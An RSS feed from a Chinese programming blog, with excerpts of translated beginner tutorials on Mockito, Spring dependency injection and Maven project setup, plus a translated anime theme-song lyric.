<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>我的翻译 on bystander&#39;s blog</title>
    <link>http://blog.leaver.me/categories/%E6%88%91%E7%9A%84%E7%BF%BB%E8%AF%91/</link>
    <description>Recent content in 我的翻译 on bystander&#39;s blog</description>
    <generator>Hugo</generator>
    <language>zh-CN</language>
    <lastBuildDate>Sat, 01 Mar 2014 10:57:33 +0000</lastBuildDate>
    <atom:link href="http://blog.leaver.me/categories/%E6%88%91%E7%9A%84%E7%BF%BB%E8%AF%91/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>[译]使用Mockito简单mock入门</title>
      <link>http://blog.leaver.me/2014/03/01/%E8%AF%91%E4%BD%BF%E7%94%A8mockito%E7%AE%80%E5%8D%95mock%E5%85%A5%E9%97%A8/</link>
      <pubDate>Sat, 01 Mar 2014 10:57:33 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/01/%E8%AF%91%E4%BD%BF%E7%94%A8mockito%E7%AE%80%E5%8D%95mock%E5%85%A5%E9%97%A8/</guid>
      <description>&lt;p&gt;我们在写单元测试的时候，面临的一个挑战就是要测试的内容总是依赖于其他组件，要是我们还得先配置好其他组件，未免有点不如意，那么我们可以使用Mocks来代替那些依赖的组件&lt;/p&gt;
&lt;p&gt;本文问了展示这个过程，我会创建一个DAL，数据访问层，这是一个类，提供了一个通用的api来访问和修改数据仓库的数据，然后，我们要测试这个api，而不用配置连接某个本地的数据库，，或者一个远程的数据库，或者是一个文件系统，反正就是任何放数据的东西，DAL层的好处就是隔离开了数据访问和应用程序代码&lt;/p&gt;
&lt;p&gt;首先使用maven来创建一个工程&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn archetype:generate -DgroupId=info.sanaulla -DartifactId=MockitoDemo -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false&lt;/pre&gt;
&lt;p&gt;执行之后，本地生成MockitoDemo 文件夹，然后整个工程的目录结构与生成好了。&lt;/p&gt;
&lt;p&gt;然后，我们写这样一个model类，表示book类型&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;package info.sanaulla.models;

import java.util.List;

/**
* Model class for the book details.
*/
public class Book {

  private String isbn;
  private String title;
  private List&amp;lt;String&amp;gt; authors;
  private String publication;
  private Integer yearOfPublication;
  private Integer numberOfPages;
  private String image;

  public Book(String isbn,
              String title,
              List&amp;lt;String&amp;gt; authors,
              String publication,
              Integer yearOfPublication,
              Integer numberOfPages,
              String image){

    this.isbn = isbn;
    this.title: = title;
    this.authors = authors;
    this.publication = publication;
    this.yearOfPublication = yearOfPublication;
    this.numberOfPages = numberOfPages;
    this.image = image;

  }

  public String getIsbn() {
    return isbn;
  }

  public String getTitle() {
    return title;
  }

  public List&amp;lt;String&amp;gt; getAuthors() {
    return authors;
  }

  public String getPublication() {
    return publication;
  }

  public Integer getYearOfPublication() {
    return yearOfPublication;
  }

  public Integer getNumberOfPages() {
    return numberOfPages;
  }

  public String getImage() {
    return image;
  }
}&lt;/pre&gt;
&lt;p&gt;然后，我们访问Book model的DAL类会如下&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;package info.sanaulla.dal;

import info.sanaulla.models.Book;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;

/**
* API layer for persisting and retrieving the Book objects.
*/
public class BookDAL {

  private static BookDAL bookDAL = new BookDAL();

  public List&amp;lt;Book&amp;gt; getAllBooks(){
      return Collections.EMPTY_LIST;
  }

  public Book getBook(String isbn){
      return null;
  }

  public String addBook(Book book){
      return book.getIsbn();
  }

  public String updateBook(Book book){
      return book.getIsbn();
  }

  public static BookDAL getInstance(){
      return bookDAL;
  }
}&lt;/pre&gt;
&lt;p&gt;DAL层现在还没啥功能，我们要通过TDD来测试，实际中，DAL可能和ORM来交互，也可能和数据库API交互，但是我们设计DAL的时候，不用关心&lt;/p&gt;</description>
    </item>
    <item>
      <title>前路月光</title>
      <link>http://blog.leaver.me/2014/01/28/%E5%89%8D%E8%B7%AF%E6%9C%88%E5%85%89/</link>
      <pubDate>Tue, 28 Jan 2014 15:35:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/01/28/%E5%89%8D%E8%B7%AF%E6%9C%88%E5%85%89/</guid>
      <description>&lt;p&gt;火影片头曲想知道中文，没找到翻译，于是译之，感谢&lt;a href=&#34;http://weibo.com/u/1095659682&#34;&gt;@sepith &lt;/a&gt;  。&lt;/p&gt;
&lt;p&gt;今夜月光
不知为何
比往日温柔
崎岖泥泞的来时路
何时才能有同行之人&lt;/p&gt;
&lt;p&gt;我沉默
为即将而来的眼泪
泪水中努力
悲伤着变得更强&lt;/p&gt;
&lt;p&gt;很多时候，伤痕累累
忘掉了痛苦
流过血泪
王者归来是使命所及
哪管一路秋叶萧萧&lt;/p&gt;
&lt;p&gt;我仰望星空
孤独从来不是虚假的幻想
你的过去我无法参与
我想要的的是现在和未来&lt;/p&gt;
&lt;p&gt;昨日月光
无论是明亮，还是黯淡
我用双手铸造
始于生而终于死
一定错过了
诸多美好&lt;/p&gt;
&lt;p&gt;我的同伴
虽然时过境迁
可是，你住过的地方
经年难忘
如果你想对我说
我还是会在你身边
舍命相陪&lt;/p&gt;
&lt;p&gt;很多时候，伤痕累累
星空暗淡
假使黎明
也悄然消失
我一定再一次
为了梦想努力拼搏&lt;/p&gt;
&lt;p&gt;痛到难以承受
迷惘前路崎岖
我轻轻闭上双眼
感受月光温柔
前路相伴
岂敢轻易迷失&lt;/p&gt;
&lt;p&gt;如果欺骗了内心
失去了自己
莫忘星空璀璨
凝视遥远的未来
固执地努力&lt;/p&gt;
&lt;p&gt;很多时候，伤痕累累
忘掉了痛苦
流过血泪，
王者归来是使命所及
哪管一路秋叶萧萧&lt;/p&gt;
&lt;p&gt;我仰望星空
真正强大的是
心怀梦想的人
有着爱的人&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spring依赖注入</title>
      <link>http://blog.leaver.me/2013/09/20/spring%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Fri, 20 Sep 2013 19:06:00 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/spring%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;在Spring框架中，依赖注入设计模式主要用来定义对象之间的依赖，存在两种主要类型&lt;/p&gt;
&lt;p&gt;1)setter注入(设置器)&lt;/p&gt;
&lt;p&gt;2)constructor注入(构造器)&lt;/p&gt;
&lt;h2 id=&#34;1setter注入&#34;&gt;1.Setter注入&lt;/h2&gt;
&lt;p&gt;是最流行最简单的DI方法，通过一个setter方法来完成依赖。&lt;/p&gt;
&lt;p&gt;例子：&lt;/p&gt;
&lt;p&gt;一个有一个setter方法的Helper类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.output;

import com.mkyong.output.IOutputGenerator;

public class OutputHelper
{
	IOutputGenerator outputGenerator;

	public void setOutputGenerator(IOutputGenerator outputGenerator){
		this.outputGenerator = outputGenerator;
	}

}&lt;/pre&gt;
&lt;p&gt;再写一个bean配合iwenjianshengming这些bean，并且通过property(属性)标签来设置依赖&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34;
xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.5.xsd&#34;&amp;gt;

	&amp;lt;bean id=&#34;OutputHelper&#34; class=&#34;com.mkyong.output.OutputHelper&#34;&amp;gt;
		&amp;lt;property name=&#34;outputGenerator&#34;&amp;gt;
			&amp;lt;ref bean=&#34;CsvOutputGenerator&#34; /&amp;gt;
		&amp;lt;/property&amp;gt;
	&amp;lt;/bean&amp;gt;

&amp;lt;bean id=&#34;CsvOutputGenerator&#34; class=&#34;com.mkyong.output.impl.CsvOutputGenerator&#34; /&amp;gt;
&amp;lt;bean id=&#34;JsonOutputGenerator&#34; class=&#34;com.mkyong.output.impl.JsonOutputGenerator&#34; /&amp;gt;

&amp;lt;/beans&amp;gt;&lt;/pre&gt;
&lt;p&gt;看到了把。我们只需要一个setter方法把CsvOutputGenerator注入进去就行了&lt;/p&gt;
&lt;h2 id=&#34;2constructor注入&#34;&gt;2.Constructor注入&lt;/h2&gt;
&lt;p&gt;这种方式是通过一个构造函数来完成依赖设置的&lt;/p&gt;
&lt;p&gt;例子：&lt;/p&gt;
&lt;p&gt;一个有着一个构造函数的Helper类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.output;

import com.mkyong.output.IOutputGenerator;

public class OutputHelper
{
	IOutputGenerator outputGenerator;

        OutputHelper(IOutputGenerator outputGenerator){
		this.outputGenerator = outputGenerator;
	}
}&lt;/pre&gt;
&lt;p&gt;然后当然是一个bean配置文件了。通过constructor-arg标签来写依赖&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34;
xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.5.xsd&#34;&amp;gt;

	&amp;lt;bean id=&#34;OutputHelper&#34; class=&#34;com.mkyong.output.OutputHelper&#34;&amp;gt;
		&amp;lt;constructor-arg&amp;gt;
                     &amp;lt;ref bean=&#34;JsonOutputGenerator&#34; /&amp;gt;
                 &amp;lt;/constructor-arg&amp;gt; 
       &amp;lt;/bean&amp;gt; 
       &amp;lt;bean id=&#34;CsvOutputGenerator&#34; class=&#34;com.mkyong.output.impl.CsvOutputGenerator&#34; /&amp;gt; 
       &amp;lt;bean id=&#34;JsonOutputGenerator&#34; class=&#34;com.mkyong.output.impl.JsonOutputGenerator&#34; /&amp;gt; 
&amp;lt;/beans&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;该选哪个&#34;&gt;该选哪个？&lt;/h2&gt;
&lt;p&gt;没有硬性规定，哪个合适就用那个，由于setter的简单性，一般还是setter用得多。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spring松耦合示例</title>
      <link>http://blog.leaver.me/2013/09/20/spring%E6%9D%BE%E8%80%A6%E5%90%88%E7%A4%BA%E4%BE%8B/</link>
      <pubDate>Fri, 20 Sep 2013 15:50:46 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/spring%E6%9D%BE%E8%80%A6%E5%90%88%E7%A4%BA%E4%BE%8B/</guid>
      <description>&lt;p&gt;面向对象设计的理念是把整个系统分成一组可重用的组件，然而，当系统变得越大的时候，尤其是在java中，这最大的对象依赖将会紧紧耦合，以至于非常难以管理和修改，而现在，你可以使用Spring框架扮演一个中间模块的角色，方便高效地管理其他组件依赖&lt;/p&gt;
&lt;h2 id=&#34;输出生成的例子&#34;&gt;输出生成的例子&lt;/h2&gt;
&lt;p&gt;看个例子，假设你的项目有一个方法可以输出内容到csv或者json格式，你可能写出这样的代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;IOutputGenerator.java 输出生成器接口&#34;&gt;package com.mkyong.output;

public interface IOutputGenerator
{
	public void generateOutput();
}&lt;/pre&gt;
&lt;p&gt;，然后是实现接口的类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;CsvOutputGenerator.java csv生成类&#34;&gt;package com.mkyong.output.impl;

import com.mkyong.output.IOutputGenerator;

public class CsvOutputGenerator implements IOutputGenerator
{
	public void generateOutput(){
		System.out.println(&#34;Csv Output Generator&#34;);
	}
}&lt;/pre&gt;
&lt;p&gt;再写个Json生成的类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;JsonOutputGenerator.java json生成类&#34;&gt;package com.mkyong.output.impl;

import com.mkyong.output.IOutputGenerator;

public class JsonOutputGenerator implements IOutputGenerator
{
	public void generateOutput(){
		System.out.println(&#34;Json Output Generator&#34;);
	}
}&lt;/pre&gt;
&lt;p&gt;有好几种方法来调用IOutputGenerator接口，以及我们如何使用Spring来避免对象的过度耦合。&lt;/p&gt;
&lt;h2 id=&#34;方法1-直接调用&#34;&gt;方法1-直接调用&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.common;

import com.mkyong.output.IOutputGenerator;
import com.mkyong.output.impl.CsvOutputGenerator;

public class App 
{
    public static void main( String[] args )
    {
    	IOutputGenerator output = new CsvOutputGenerator();
    	output.generateOutput();
    }
}&lt;/pre&gt;
&lt;p&gt;问题：&lt;/p&gt;
&lt;p&gt;这种方法，output这个对象和CsvOutputGenerator耦合在了一起，每次要改变输出格式的话都要修改代码，如果这类代码遍布项目，那么改起来就跪了&lt;/p&gt;
&lt;h2 id=&#34;方法2-通过帮助类调用&#34;&gt;方法2-通过帮助类调用&lt;/h2&gt;
&lt;p&gt;也许你会想创建一个Helper类吧所有的output实现都移进去&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.output;

import com.mkyong.output.IOutputGenerator;
import com.mkyong.output.impl.CsvOutputGenerator;

public class OutputHelper
{
	IOutputGenerator outputGenerator;

	public OutputHelper(){
		outputGenerator = new CsvOutputGenerator();
	}

	public void generateOutput(){
		outputGenerator.generateOutput();
	}

}&lt;/pre&gt;
&lt;p&gt;然后可以这样调用&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.common;

import com.mkyong.output.OutputHelper;

public class App 
{
    public static void main( String[] args )
    {
    	OutputHelper output = new OutputHelper();
    	output.generateOutput(); 
    }
}&lt;/pre&gt;
&lt;p&gt;问题：&lt;/p&gt;
&lt;p&gt;看起来似乎更加优雅了，你仅仅需要管理这个Helper类就可以实现不同格式的输出需求改变了，然而，Helper还是和CvsOutputGenerator耦合，每一次要改变输出格式的时候，都要对Helper类做一下微调。&lt;/p&gt;
&lt;h2 id=&#34;方法3-spring&#34;&gt;方法3-Spring&lt;/h2&gt;
&lt;p&gt;Spring依赖注入很合适，可以使不同的格式生成类分离开来&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spring3实例入门-Hello World</title>
      <link>http://blog.leaver.me/2013/09/20/spring3%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-hello-world/</link>
      <pubDate>Fri, 20 Sep 2013 13:14:39 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/spring3%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-hello-world/</guid>
      <description>&lt;p&gt;每次看到hello world,都有一种说不出的赶脚，想起了一个程序员，退休后写毛笔字，取笔研磨铺纸，大笔一挥，写下了“hello world”。&lt;/p&gt;
&lt;h2 id=&#34;1使用maven生成项目结构&#34;&gt;1.使用Maven生成项目结构&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;mvn archetype:generate -DgroupId=com.mkyong.core -DartifactId=Spring3Example 
	-DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false&lt;/pre&gt;
&lt;h2 id=&#34;2转换成eclipse项目&#34;&gt; 2.转换成Eclipse项目&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;mvn eclipse:eclipse&lt;/pre&gt;
&lt;h2 id=&#34;3添加spring30-依赖&#34;&gt; 3.添加Spring3.0 依赖&lt;/h2&gt;
&lt;p&gt;在pom.xml文件里添加Spring 3.0 依赖，然后依赖会从Maven中央仓库自动下载&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;pom.xml&#34;&gt;&amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; 
	xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
	xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 
	http://maven.apache.org/maven-v4_0_0.xsd&#34;&amp;gt;
	&amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt;
	&amp;lt;groupId&amp;gt;com.mkyong.core&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;Spring3Example&amp;lt;/artifactId&amp;gt;
	&amp;lt;packaging&amp;gt;jar&amp;lt;/packaging&amp;gt;
	&amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt;
	&amp;lt;name&amp;gt;Spring3Example&amp;lt;/name&amp;gt;
	&amp;lt;url&amp;gt;http://maven.apache.org&amp;lt;/url&amp;gt;

	&amp;lt;properties&amp;gt;
		&amp;lt;spring.version&amp;gt;3.0.5.RELEASE&amp;lt;/spring.version&amp;gt;
	&amp;lt;/properties&amp;gt;

	&amp;lt;dependencies&amp;gt;

		&amp;lt;!-- Spring 3 dependencies --&amp;gt;
		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;spring-core&amp;lt;/artifactId&amp;gt;
			&amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt;
		&amp;lt;/dependency&amp;gt;

		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;spring-context&amp;lt;/artifactId&amp;gt;
			&amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt;
		&amp;lt;/dependency&amp;gt;

	&amp;lt;/dependencies&amp;gt;
&amp;lt;/project&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;4spring-bean&#34;&gt; 4.Spring bean&lt;/h2&gt;
&lt;p&gt;写个简单的bean&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;HelloWorld&#34;&gt;package com.mkyong.core;

/**
 * Spring bean
 * 
 */
public class HelloWorld {
	private String name;

	public void setName(String name) {
		this.name = name;
	}

	public void printHello() {
		System.out.println(&#34;Spring 3 : Hello ! &#34; + name);
	}
}&lt;/pre&gt;
&lt;h2 id=&#34;5spring-bean配置文件&#34;&gt; 5.Spring bean配置文件&lt;/h2&gt;
&lt;p&gt;创建一个配置文件，在里面声明所有可用的Spring beans&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;SpringBeans.xml&#34;&gt;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34;
	xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
	xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans
	http://www.springframework.org/schema/beans/spring-beans-3.0.xsd&#34;&amp;gt;

	&amp;lt;bean id=&#34;helloBean&#34; class=&#34;com.mkyong.core.HelloWorld&#34;&amp;gt;
		&amp;lt;property name=&#34;name&#34; value=&#34;Mkyong&#34; /&amp;gt;
	&amp;lt;/bean&amp;gt;

&amp;lt;/beans&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;6最终的目录结构&#34;&gt; 6.最终的目录结构&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/Spring3-hello-world-example.png&#34;&gt;&lt;img alt=&#34;Spring3-hello-world-example&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/bbe4d8f74c9337766eb4a368bb71c6c0d09a248b.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;7运行&#34;&gt;7.运行&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;App.java&#34;&gt;package com.mkyong.core;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class App {
	public static void main(String[] args) {
		ApplicationContext context = new ClassPathXmlApplicationContext(
				&#34;SpringBeans.xml&#34;);

		HelloWorld obj = (HelloWorld) context.getBean(&#34;helloBean&#34;);
		obj.printHello();
	}
}&lt;/pre&gt;
&lt;h2 id=&#34;8输出&#34;&gt; 8.输出&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Spring 3 : Hello ! Mkyong&lt;/pre&gt;
&lt;h2 id=&#34;9demo下载&#34;&gt; 9.Demo下载&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=2464458395&amp;amp;uk=1493685990&#34;&gt;Spring3-hello-world-example.zip &lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>使用Maven创建Web项目</title>
      <link>http://blog.leaver.me/2013/09/20/%E4%BD%BF%E7%94%A8maven%E5%88%9B%E5%BB%BAweb%E9%A1%B9%E7%9B%AE/</link>
      <pubDate>Fri, 20 Sep 2013 08:44:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/%E4%BD%BF%E7%94%A8maven%E5%88%9B%E5%BB%BAweb%E9%A1%B9%E7%9B%AE/</guid>
      <description>&lt;p&gt;本文通过Maven完成一个简单的Web项目（注意，Spring配置不是重点，看看就行）&lt;/p&gt;
&lt;h2 id=&#34;1从maven模板创建web应用程序&#34;&gt;1.从Maven模板创建Web应用程序&lt;/h2&gt;
&lt;p&gt;命令格式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn archetype:generate -DgroupId={project-packaging} -DartifactId={project-name} -DarchetypeArtifactId=maven-archetype-webapp -DinteractiveMode=false&lt;/pre&gt;
&lt;p&gt;这就告诉Maven从**maven-archetype-webapp **这个模板来创建&lt;/p&gt;
&lt;p&gt;友情提示：是不是太难记了..好吧，直接输入&lt;/p&gt;
&lt;pre&gt;mvn archetype:generate&lt;/pre&gt;
&lt;p&gt;根据向导来创建把。。&lt;/p&gt;
&lt;p&gt;比如我这样写：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;gt; mvn archetype:generate -DgroupId=com.mkyong -DartifactId=CounterWebApp -DarchetypeArtifactId=maven-archetype-webapp -DinteractiveMode=false
[INFO] Scanning for projects...
[INFO]                                                                         
[INFO] ------------------------------------------------------------------------
[INFO] Building Maven Stub Project (No POM) 1
[INFO] ------------------------------------------------------------------------
[INFO] 
[INFO] Generating project in Batch mode
[INFO] ----------------------------------------------------------------------------
[INFO] Using following parameters for creating project from Old (1.x) Archetype: maven-archetype-webapp:1.0
[INFO] ----------------------------------------------------------------------------
[INFO] Parameter: groupId, Value: com.mkyong
[INFO] Parameter: packageName, Value: com.mkyong
[INFO] Parameter: package, Value: com.mkyong
[INFO] Parameter: artifactId, Value: CounterWebApp
[INFO] Parameter: basedir, Value: /Users/mkyong/Documents/workspace
[INFO] Parameter: version, Value: 1.0-SNAPSHOT
[INFO] project created from Old (1.x) Archetype in dir: /Users/mkyong/Documents/workspace/CounterWebApp
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 3.147s
[INFO] Finished at: Thu Dec 20 20:35:19 MYT 2012
[INFO] Final Memory: 12M/128M
[INFO] ------------------------------------------------------------------------&lt;/pre&gt;
&lt;p&gt;就创建了一个包名为com.mkyong,类名为CounterWebApp的项目了&lt;/p&gt;
&lt;h2 id=&#34;2maven的web程序目录结构&#34;&gt;2.Maven的Web程序目录结构&lt;/h2&gt;
&lt;p&gt;标准的web.xml部署描述文件生成了&lt;/p&gt;
&lt;pre&gt;CounterWebApp
   |-src
   |---main
   |-----resources
   |-----webapp
   |-------index.jsp
   |-------WEB-INF
   |---------web.xml
   |-pom.xml&lt;/pre&gt;
&lt;p&gt;对结构有疑问的去&lt;a href=&#34;http://maven.apache.org/guides/introduction/introduction-to-the-standard-directory-layout.html&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Maven库依赖机制及添加自定义库</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E5%BA%93%E4%BE%9D%E8%B5%96%E6%9C%BA%E5%88%B6%E5%8F%8A%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E5%BA%93/</link>
      <pubDate>Thu, 19 Sep 2013 22:49:42 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E5%BA%93%E4%BE%9D%E8%B5%96%E6%9C%BA%E5%88%B6%E5%8F%8A%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E5%BA%93/</guid>
      <description>&lt;h1 id=&#34;一maven库依赖机制&#34;&gt;一.Maven库依赖机制&lt;/h1&gt;
&lt;p&gt;Maven的库依赖机制可以帮助我们自动下载依赖的库文件，并且还能更新版本。。&lt;/p&gt;
&lt;p&gt;考虑一个情境来理解机制的工作原理，假设我们要使用Log4J库作为项目的日志记录。以下是我们要做的&lt;/p&gt;
&lt;h2 id=&#34;1传统的方式&#34;&gt;1.传统的方式&lt;/h2&gt;
&lt;p&gt;1）访问Log4J网站&lt;a href=&#34;http://logging.apache.org/log4j/2.x/&#34;&gt;http://logging.apache.org/log4j/2.x/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2）下载Log4J的jar包&lt;/p&gt;
&lt;p&gt;3）复制进项目的classpath里&lt;/p&gt;
&lt;p&gt;4）手工包含到项目的依赖里&lt;/p&gt;
&lt;p&gt;看到没，你要从头做到尾，如果Log4J更新了，你得再来一遍。。&lt;/p&gt;
&lt;h2 id=&#34;2maven的方式&#34;&gt;2.Maven的方式&lt;/h2&gt;
&lt;p&gt;1）需要知道Log4J的Maven坐标(coordinates,这个暂时没想到好名字)，就是这样的东西&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;groupId&amp;gt;log4j&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;log4j&amp;lt;/artifactId&amp;gt;
	&amp;lt;version&amp;gt;1.2.14&amp;lt;/version&amp;gt;&lt;/pre&gt;
&lt;p&gt;然后Maven就会自动下载1.2.14版本的Log4J了。如果version这个元素没有，那么如果有了新版本，Maven会自动下载新版本的。&lt;/p&gt;
&lt;p&gt;2）在pom.xml里声明这个Maven坐标&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;dependencies&amp;gt;
    &amp;lt;dependency&amp;gt;
	&amp;lt;groupId&amp;gt;log4j&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;log4j&amp;lt;/artifactId&amp;gt;
	&amp;lt;version&amp;gt;1.2.14&amp;lt;/version&amp;gt;
    &amp;lt;/dependency&amp;gt;
&amp;lt;/dependencies&amp;gt;&lt;/pre&gt;
&lt;p&gt;3）当Maven编译或者build的时候，Log4J会自动下载，放入本地仓库里&lt;/p&gt;
&lt;p&gt;4）Maven全部接管&lt;/p&gt;
&lt;h2 id=&#34;3解释&#34;&gt;3.解释&lt;/h2&gt;
&lt;p&gt;搜索顺序前面说过了。本地-》中央-》远程仓库&lt;/p&gt;
&lt;p&gt;Maven坐标咋来的，当然去&lt;a href=&#34;http://search.maven.org/&#34;&gt;中央仓库搜索&lt;/a&gt;之了，搜索结果清晰的令人发指&lt;/p&gt;
&lt;h1 id=&#34;二添加自定义库到本地仓库&#34;&gt;二.添加自定义库到本地仓库&lt;/h1&gt;
&lt;p&gt;有两个情况，需要我们包含自定义的库到本地仓库里&lt;/p&gt;
&lt;p&gt;1是你想使用的jar文件不再中央仓库&lt;/p&gt;
&lt;p&gt;2是你创建了一个自定义的jar包，需要另一个项目使用这个jar&lt;/p&gt;
&lt;p&gt;比如，&lt;a href=&#34;http://code.google.com/p/kaptcha/&#34;&gt;kaptche&lt;/a&gt;，一个第三方的java库，生成验证码，现在中央仓库没有了。&lt;/p&gt;
&lt;p&gt;我们想要加到本地仓库里&lt;/p&gt;
&lt;h2 id=&#34;1mvn安装&#34;&gt;1.mvn安装&lt;/h2&gt;
&lt;p&gt;下载&lt;a href=&#34;http://code.google.com/p/kaptcha/&#34;&gt;kaptche&lt;/a&gt;，解压并且拷贝kaptcha-version.jar到其他任何你喜欢的地方，比如c盘，然后输入如下格式的命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn install:install-file -Dfile=c:\kaptcha-{version}.jar -DgroupId=com.google.code 
-DartifactId=kaptcha -Dversion={version} -Dpackaging=jar&lt;/pre&gt;
&lt;p&gt;这里我这样输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;D:\&amp;gt;mvn install:install-file -Dfile=c:\kaptcha-2.3.jar -DgroupId=com.google.code 
-DartifactId=kaptcha -Dversion=2.3 -Dpackaging=jar
[INFO] Scanning for projects...
[INFO] Searching repository for plugin with prefix: &#39;install&#39;.
[INFO] ------------------------------------------------------------------------
[INFO] Building Maven Default Project
[INFO]    task-segment: [install:install-file] (aggregator-style)
[INFO] ------------------------------------------------------------------------
[INFO] [install:install-file]
[INFO] Installing c:\kaptcha-2.3.jar to 
D:\maven_repo\com\google\code\kaptcha\2.3\kaptcha-2.3.jar
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: &amp;lt; 1 second
[INFO] Finished at: Tue May 12 13:41:42 SGT 2009
[INFO] Final Memory: 3M/6M
[INFO] ------------------------------------------------------------------------&lt;/pre&gt;
&lt;p&gt;这样完成了。kaptcha已经存在本地库了&lt;/p&gt;
&lt;h2 id=&#34;2pomxml配置一下&#34;&gt;2.pom.xml配置一下&lt;/h2&gt;
